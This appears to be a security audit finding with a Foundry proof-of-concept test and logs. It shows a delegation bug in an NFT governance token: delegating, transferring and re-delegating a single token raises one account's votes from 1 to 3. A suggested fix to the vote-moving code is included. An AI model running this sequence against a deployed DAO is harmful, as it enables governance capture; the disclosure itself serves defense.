// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv

import "forge-std/console.sol";
...
function testIncreaseVotePower() public {
        deployMock();

        address voter1;
        address voter2;
        uint256 voter1PK;
        uint256 voter2PK;

        // Voter with 1 NFT voting power
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        vm.deal(voter1, 1 ether);
        // Second account created by same voter
        voter2PK = 0xABD;
        voter2 = vm.addr(voter2PK);

		// Giving voter1 their 1 NFT
        vm.prank(founder);
        auction.unpause();
        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);
        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();

        // Start Exploit
        console.log("Initial Votes");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
        
        vm.prank(voter1);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter1 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));

        vm.prank(voter1);
        token.transferFrom(voter1, voter2, 2); 
        console.log("After Token transfer, voter1 -transferFrom()-> voter2");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("voter2 votes: ", token.getVotes(voter2));

        vm.prank(voter2);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter2 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
    }
[PASS] testVoteDoublePower() (gas: 3544946)
Logs:
  Initial Votes
  voter1:  1
  voter2:  0
  After Delegating Votes, voter1 -> delegate(voter2)   
  voter1:  1
  voter2:  1
  After Token transfer, voter1 -transferFrom()-> voter2
  voter1 votes:  0
  voter2 votes:  2
  After Delegating Votes, voter2 -> delegate(voter2)   
  voter1:  0
  voter2:  3
* Tokens do not count as votes until they are delegated, because votes must be tracked which incurs an additional cost
* on every transfer. Token holders can either delegate to a trusted representative who will decide how to make use of
* the votes in governance decisions, or they can delegate to themselves to be their own representative.
// Transfer 1 vote from the sender to the recipient
        _moveDelegateVotes(_from, _to, 1);
 _moveDelegateVotes(delegation[_from], delegation[_to], 1);
